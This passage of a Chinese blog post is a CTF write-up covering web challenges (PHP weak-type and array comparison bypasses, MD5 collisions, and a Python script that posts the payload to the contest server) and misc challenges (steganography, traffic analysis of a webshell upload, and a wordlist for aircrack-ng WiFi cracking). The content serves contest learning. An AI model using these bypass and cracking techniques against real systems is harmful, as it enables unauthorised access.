&amp;&amp; !($a === $b) &amp;&amp; (strlen($b) === <span class="number">6</span>))</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"You're great,give you flag:"</span>;</span><br><span class="line">    <span class="keyword">echo</span> $flag;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">str1 <span class="keyword">OR</span> Sstr2 no no no</span><br></pre></td></tr></table></figure>
<p>代码审计实锤了</p>
<p>第一步就是利用弱类型绕过。</p>
<p>第二步就是数组绕过。</p>
<p>第三步我们看到利用了string进行强制类型转换，我们无法用数组绕过了。只能用MD5强碰撞，要求传入三个值不能相等，但是MD5相等，我们换个思路，不一定要传入三个值，可以传入文件，这里用到一个MD5碰撞的工具，用这个工具可以生成若干MD5相等的文件，传入就可以了。</p>
<blockquote>
<p><a href="https://github.com/thereal1024/python-md5-collision" target="_blank" rel="noopener">https://github.com/thereal1024/python-md5-collision</a></p>
</blockquote>
<p>再往后就是</p>
<p>需要传入a、b、m、n参数，$a为大写字母，$b为数字、并且长度为6，$m和$n长度小于4<br>$str8为$ahash加密后的值，$str9为$bhash加密后，把$m替换为$n,要求$str8== $str9。还是用的弱类型。<br>传入的$a要hash加密后为0e开头，如果$b为hash加密后0e开头，可以满足，长度为6不能满足，但是还有次替换，只需要把0e后不是数字的替换为数字就可以。</p>
<p>最后上大佬的脚本</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">md5</span><span class="params">(str)</span>:</span></span><br><span class="line">  p= hashlib.md5(str).hexdigest()</span><br><span class="line">  <span class="keyword">return</span> p</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">1</span>,<span class="number">999999</span>):</span><br><span class="line">  <span class="keyword">if</span> md5(str(i))[<span class="number">0</span>:<span class="number">2</span>] == <span class="string">'0e'</span>:</span><br><span class="line">    <span class="keyword">if</span> <span class="string">'e'</span> <span class="keyword">not</span> <span class="keyword">in</span> md5(str(i))[<span class="number">2</span>:]:</span><br><span class="line">      <span class="keyword">if</span> <span class="string">'f'</span> <span class="keyword">not</span> <span class="keyword">in</span> md5(str(i))[<span class="number">2</span>:]:</span><br><span class="line">        <span class="keyword">if</span> <span class="string">'a'</span> <span class="keyword">not</span> <span class="keyword">in</span> md5(str(i))[<span class="number">2</span>:]:</span><br><span class="line">          <span class="keyword">print</span> i</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#-*-codeing:utf-8</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line">url=<span class="string">"http://120.79.1.69:8887/web7/?str1[]=1&amp;str2[]=2&amp;str3[]=3&amp;str4[]=4&amp;m=bcd&amp;n=123"</span></span><br><span class="line">str5= open(<span class="string">'./WEB/python-md5-collision/md5/out_test_001.txt'</span>,<span class="string">'r'</span>).read()</span><br><span class="line">str6= open(<span class="string">'./WEB/python-md5-collision/md5/out_test_002.txt'</span>,<span class="string">'r'</span>).read()</span><br><span class="line">str7= open(<span class="string">'./WEB/python-md5-collision/md5/out_test_003.txt'</span>,<span class="string">'r'</span>).read()</span><br><span class="line"></span><br><span class="line">data= &#123;</span><br><span class="line">  <span class="string">'str5'</span>:str5,</span><br><span class="line">  <span class="string">'str6'</span>:str6,</span><br><span class="line">  <span class="string">'str7'</span>:str7,</span><br><span class="line">  <span class="string">'a'</span>:<span class="string">'QNKCDZO'</span>,</span><br><span class="line">  <span class="string">'b'</span>:<span class="string">'259987'</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">res= requests.post(url=url,data=data)</span><br><span class="line"><span class="keyword">print</span> res.content</span><br></pre></td></tr></table></figure>
<h2 id="misc"><a href="#misc" class="headerlink" title="misc"></a>misc</h2><h3 id="真的不是图片"><a href="#真的不是图片" class="headerlink" title="真的不是图片"></a>真的不是图片</h3><p>binwalk分析，发现zip</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vgze372gj30rc0dwwkf.jpg" alt=""></p>
<p>format提取失败，使用010editor打开</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vh3axv45j30pr0ffwhh.jpg" alt=""></p>
<p>可以看到504b0304被替换成了6a613636也就是ja66</p>
<p>将其替换回来</p>
<p>重新分析</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhckqzckj30l0073wgb.jpg" alt=""></p>
<p>得到两个压缩包，其实为一个，密码为ja66</p>
<p>解压文件<br>好多文件夹，打开后，每个文件夹有一个文本 里边都有一个字符</p>
<p>编写脚本</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line">flag=<span class="string">''</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">32</span>):</span><br><span class="line">    f=open(<span class="string">'./subject/'</span>+str(i)+<span class="string">'/'</span>+str(i)+<span class="string">'.txt'</span>,<span class="string">'r'</span>)</span><br><span class="line">    flag+=f.read()</span><br><span class="line"><span class="keyword">print</span> base64.b64decode(flag)</span><br></pre></td></tr></table></figure>
<p>得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhhz5m3tj30rm0ff0yb.jpg" alt=""></p>
<h3 id="该死的温柔"><a href="#该死的温柔" class="headerlink" title="该死的温柔"></a>该死的温柔</h3><p>题目的名字叫该死的温柔，那么我们可以发现该死和guess谐音，那么我们有个隐写工具OutGuess，它是一种通用的隐写工具，可以插入将隐藏信息存入数据源的冗余位。<br>Kail终端命令输入：</p>
<blockquote>
<p>git clone <a href="https://github.com/crorvick/outguess" target="_blank" rel="noopener">https://github.com/crorvick/outguess</a></p>
</blockquote>
<p>下载后使用</p>
<blockquote>
<p>outguess -k “guess” -r flag.jpg ctf.txt</p>
</blockquote>
<p>其中guess是密码在照片属性哪里，-r是解密指令，ctf.txt是输出ctf.txt文件</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vholbupgj30rn07pgob.jpg" alt=""></p>
<h3 id="你对我网站做了什么？"><a href="#你对我网站做了什么？" class="headerlink" title="你对我网站做了什么？"></a>你对我网站做了什么？</h3><p>这是一道misc题目。是一个流量分析的题目吧。</p>
<p>其实整个过程很容易明白，在upload哪里上传了一个木马，然后执行了一系列操作，其中又一个<br>cat flag</p>
<p>整个过程都可以看到响应包</p>
<p>将cat flag里的字符串进行逆转即可..</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhrju008j30g807ht9z.jpg" alt=""></p>
<h3 id="这是什么玩意"><a href="#这是什么玩意" class="headerlink" title="这是什么玩意"></a>这是什么玩意</h3><p>首先看到有很多个等号，我们可以百度搜，搜到是Quoted-Printable编码</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhtnsvtwj311l0j3jte.jpg" alt=""></p>
<p>解密出来是一大堆佛语，那么它其实也是一个密码，与佛论禅加密，原理就是AES加密和替换字符</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhvl4wo2j30nw0flwfl.jpg" alt=""></p>
<p>然后核心主义价值观解密..</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhxd7kvgj30gn0cl74j.jpg" alt=""></p>
<h3 id="so-easy"><a href="#so-easy" class="headerlink" title="so_easy"></a>so_easy</h3><p>打开文件</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vhzovkvcj31i70nqwon.jpg" alt=""></p>
<p>base58解码得到base64的image字符串</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vi10am9qj313o0lhwh7.jpg" alt=""></p>
<p>还原扫码得到flag</p>
<p><img src="http://ww1.sinaimg.cn/large/007F8GgBly1g1vi2l6msuj311e0jtmzq.jpg" alt=""></p>
<h3 id="小梳子，我只爱你一个人"><a href="#小梳子，我只爱你一个人" class="headerlink" title="小梳子，我只爱你一个人"></a>小梳子，我只爱你一个人</h3><p>Python生成字典</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> a <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">for</span> b <span class="keyword">in</span> range(<span class="number">0</span>,<span class="number">10</span>):</span><br><span class="line">                <span class="keyword">for</span>  c <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">10</span>):</span><br><span class="line">                        <span class="keyword">for</span> d <span class="keyword">in</span> range(<span class="number">0</span>, <span class="number">10</span>):</span><br><span class="line">                                print(<span class="string">"1391040%d%d%d%d"</span>%(a,b,c,d))</span><br></pre></td></tr></table></figure>
<p>aircrack-ng爆破即可..</p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>排名靠后，菜…</p>

      
    </div>

    

    
    
    

    <div>
      
        
<div class="my_post_copyright">
  <script src="//cdn.bootcss.com/clipboard.js/1.5.10/clipboard.min.js"></script>
  
  <!-- JS库 sweetalert 可修改路径 -->
  <script src="https://cdn.bootcss.com/jquery/2.0.0/jquery.min.js"></script>
  <script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
  <p><span>本文标题:</span><a href="/掘安杯打卡/">掘安杯打卡</a></p>
  <p><span>文章作者:</span><a href="/" title="访问 冷逸 的个人博客">冷逸</a></p>
  <p><span>发布时间:</span>2019年04月07日 - 16:04</p>
  <p><span>最后更新:</span>2019年04月08日 - 20:04</p>
  <p><span>原始链接:</span><a href="/掘安杯打卡/" title="掘安杯打卡">https://lengjibo.github.io/掘安杯打卡/</a>
    <span class="copy-path"  title="点击复制文章链接"><i class="fa fa-clipboard" data-clipboard-text="https://lengjibo.github.io/掘安杯打卡/"  aria-label="复制成功！"></i></span>
  </p>
  <p><span>许可协议:</span><i class="fa fa-creative-commons"></i> <a rel="license" href="https://creativecommons.org/licenses/by-nc-nd/4.0/" target="_blank" title="Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0)">署名-非商业性使用-禁止演绎 4.0 国际</a> 转载请保留原文链接及作者。</p>  
</div>
<script> 
    var clipboard = new Clipboard('.fa-clipboard');
    $(".fa-clipboard").click(function(){
      clipboard.on('success', function(){
        swal({   
          title: "",   
          text: '复制成功',
          icon: "success", 
          showConfirmButton: true
          });
    });
    });  
</script>


      
    </div>
    <div>
      
        <div>
    
        <div style="text-align:center;color: #555;font-size:14px;">-------------The End-------------</div>
    
</div>

      
    </div>
    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechat.png" alt="冷逸 WeChat Pay"/>
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/zhifubao.jpg" alt="冷逸 Alipay"/>
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/ctf/" rel="tag"><i class="fa fa-tag"></i> ctf</a>
          
            <a href="/tags/writeup/" rel="tag"><i class="fa fa-tag"></i> writeup</a>
          
        </div>
      

      
      
        <div class="post-widgets">
        

        

        
          
          <div class="social_share">
            
               <div>
                 
  <div class="bdsharebuttonbox">
    <a href="#" class="bds_tsina" data-cmd="tsina" title="分享到新浪微博"></a>
    <a href="#" class="bds_douban" data-cmd="douban" title="分享到豆瓣网"></a>
    <a href="#" class="bds_sqq" data-cmd="sqq" title="分享到QQ好友"></a>
    <a href="#" class="bds_qzone" data-cmd="qzone" title="分享到QQ空间"></a>
    <a href="#" class="bds_weixin" data-cmd="weixin" title="分享到微信"></a>
    <a href="#" class="bds_tieba" data-cmd="tieba" title="分享到百度贴吧"></a>
    <a href="#" class="bds_twi" data-cmd="twi" title="分享到Twitter"></a>
    <a href="#" class="bds_fbook" data-cmd="fbook" title="分享到Facebook"></a>
    <a href="#" class="bds_more" data-cmd="more"></a>
    <a class="bds_count" data-cmd="count"></a>
  </div>
  <script>
    window._bd_share_config = {
      "common": {
        "bdText": "",
        "bdMini": "2",
        "bdMiniList": false,
        "bdPic": ""
      },
      "share": {
        "bdSize": "16",
        "bdStyle": "0"
      },
      "image": {
        "viewList": ["tsina", "douban", "sqq", "qzone", "weixin", "twi", "fbook"],
        "viewText": "分享到：",
        "viewSize": "16"
      }
    }
  </script>

<script>
  with(document)0[(getElementsByTagName('head')[0]||body).appendChild(createElement('script')).src='//bdimg.share.baidu.com/static/api/js/share.js?cdnversion='+~(-new Date()/36e5)];
</script>

               </div>
            
            
          </div>
        
        </div>
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/android/" rel="next" title="msf入侵android">
                <i class="fa fa-chevron-left"></i> msf入侵android
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019西湖论剑部分writeup/" rel="prev" title="2019西湖论剑部分writeup">
                2019西湖论剑部分writeup <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>


  </div>


          </div>
          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            Inhaltsverzeichnis
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            Übersicht
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="http://ww1.sinaimg.cn/large/007F8GgBly1g7vony4ltaj308w08wq30.jpg"
                alt="冷逸" />
            
              <p class="site-author-name" itemprop="name">冷逸</p>
              <p class="site-description motion-element" itemprop="description">做一个温柔的人...</p>
          </div>

          
            <nav class="site-state motion-element">
              
                <div class="site-state-item site-state-posts">
                
                  <a href="/archives/">
                
                    <span class="site-state-item-count">113</span>
                    <span class="site-state-item-name">Artikel</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-categories">
                  <a href="/categories/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">19</span>
                    <span class="site-state-item-name">Kategorien</span>
                  </a>
                </div>
              

              
                
                
                <div class="site-state-item site-state-tags">
                  <a href="/tags/index.html">
                    
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                      
                    
                    <span class="site-state-item-count">120</span>
                    <span class="site-state-item-name">Tags</span>
                  </a>
                </div>
              
            </nav>
          

          
            <div class="feed-link motion-element">
              <a href="/../../.deploy_git/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          
            <div class="links-of-author motion-element">
              
                <span class="links-of-author-item">
                  <a href="https://github.com/lengjibo" target="_blank" title="GitHub"><i class="fa fa-fw fa-globe"></i>GitHub</a>
                  
                </span>
              
                <span class="links-of-author-item">
                  <a href="qqlengyi@163.com" target="_blank" title="E-Mail"><i class="fa fa-fw fa-globe"></i>E-Mail</a>
                  
                </span>
              
            </div>
          
        <div id="music163player">
            <iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=110 src="https://music.163.com/outchain/player?type=0&id=377079922&auto=1&height=90"></iframe>
          </div>
          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                友情链接
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://sqlmap.wiki/" title="青春's blog" target="_blank">青春's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.addon.pub/" title="Yokeen's blog" target="_blank">Yokeen's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://freeerror.org/" title="之乎者也's blog" target="_blank">之乎者也's blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.bugbank.cn/team/FrigidSword" title="漏洞银行" target="_blank">漏洞银行</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.vulbox.com/team/Frigid%20Sword%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F" title="漏洞盒子" target="_blank">漏洞盒子</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://godpang.github.io/" title="Mr.赵" target="_blank">Mr.赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://amliaw4.github.io/" title="amliaW4'S Blog" target="_blank">amliaW4'S Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.se7ensec.cn/" title="se7en's Blog" target="_blank">se7en's Blog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://ninjia.gitbook.io/secskill/" title="secskill" target="_blank">secskill</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.bug1024.cn/" title="ibug" target="_blank">ibug</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://wwcx.org/" title="Strjziny's Blog" target="_blank">Strjziny's Blog</a>
                  </li>
                
              </ul>
            </div>
          

          
            
          
          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#web"><span class="nav-number">1.</span> <span class="nav-text">web</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#web1"><span class="nav-number">1.1.</span> <span class="nav-text">web1</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web2"><span class="nav-number">1.2.</span> <span class="nav-text">web2</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web3"><span class="nav-number">1.3.</span> <span class="nav-text">web3</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web4"><span class="nav-number">1.4.</span> <span class="nav-text">web4</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web5"><span class="nav-number">1.5.</span> <span class="nav-text">web5</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web6"><span class="nav-number">1.6.</span> <span class="nav-text">web6</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#web7"><span class="nav-number">1.7.</span> <span class="nav-text">web7</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#misc"><span class="nav-number">2.</span> <span class="nav-text">misc</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#真的不是图片"><span class="nav-number">2.1.</span> <span class="nav-text">真的不是图片</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#该死的温柔"><span class="nav-number">2.2.</span> <span class="nav-text">该死的温柔</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#你对我网站做了什么？"><span class="nav-number">2.3.</span> <span class="nav-text">你对我网站做了什么？</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#这是什么玩意"><span class="nav-number">2.4.</span> <span class="nav-text">这是什么玩意</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#so-easy"><span class="nav-number">2.5.</span> <span class="nav-text">so_easy</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#小梳子，我只爱你一个人"><span class="nav-number">2.6.</span> <span class="nav-text">小梳子，我只爱你一个人</span></a></li></ol></li><li class="nav-item nav-level-2"><a class="nav-link" href="#总结"><span class="nav-number">3.</span> <span class="nav-text">总结</span></a></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2014 – <span itemprop="copyrightYear">2020</span>
  <span class="with-love" id="animate">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">冷逸</span>

  

  
</div>




  <div class="powered-by">Erstellt mit  <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> v3.7.1</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme – <a class="theme-link" target="_blank" href="https://theme-next.org">NexT.Muse</a> v6.4.0</div>






        
<div class="busuanzi-count">
  <script async src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  
    <span class="site-uv" title="Total Visitors">
      <i class="fa fa-user"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
    </span>
  

  
    <span class="site-pv" title="Total Views">
      <i class="fa fa-eye"></i>
      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
    </span>
  
</div>









        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    
	
    

    
  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>














  







  
  







  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/jquery/2.1.3/jquery.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.jsdelivr.net/velocity/1.2.3/velocity.ui.min.js"></script>
  

  
  
    <script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.1/canvas-nest.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/three.min.js"></script>
  

  
  
    <script type="text/javascript" src="/lib/three/canvas_sphere.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=6.4.0"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=6.4.0"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=6.4.0"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=6.4.0"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=6.4.0"></script>



  



  










  





  

  

  

  

  
  

  

  

  

  

  

<script src="/live2dw/lib/L2Dwidget.min.js?0c58a1486de42ac6cc1c59c7d98ae887"></script><script>L2Dwidget.init({"log":false,"pluginJsPath":"lib/","pluginModelPath":"assets/","pluginRootPath":"live2dw/","tagMode":false});</script></body>
</html>
<script type="text/javascript" src="/js/src/love.js"></script>
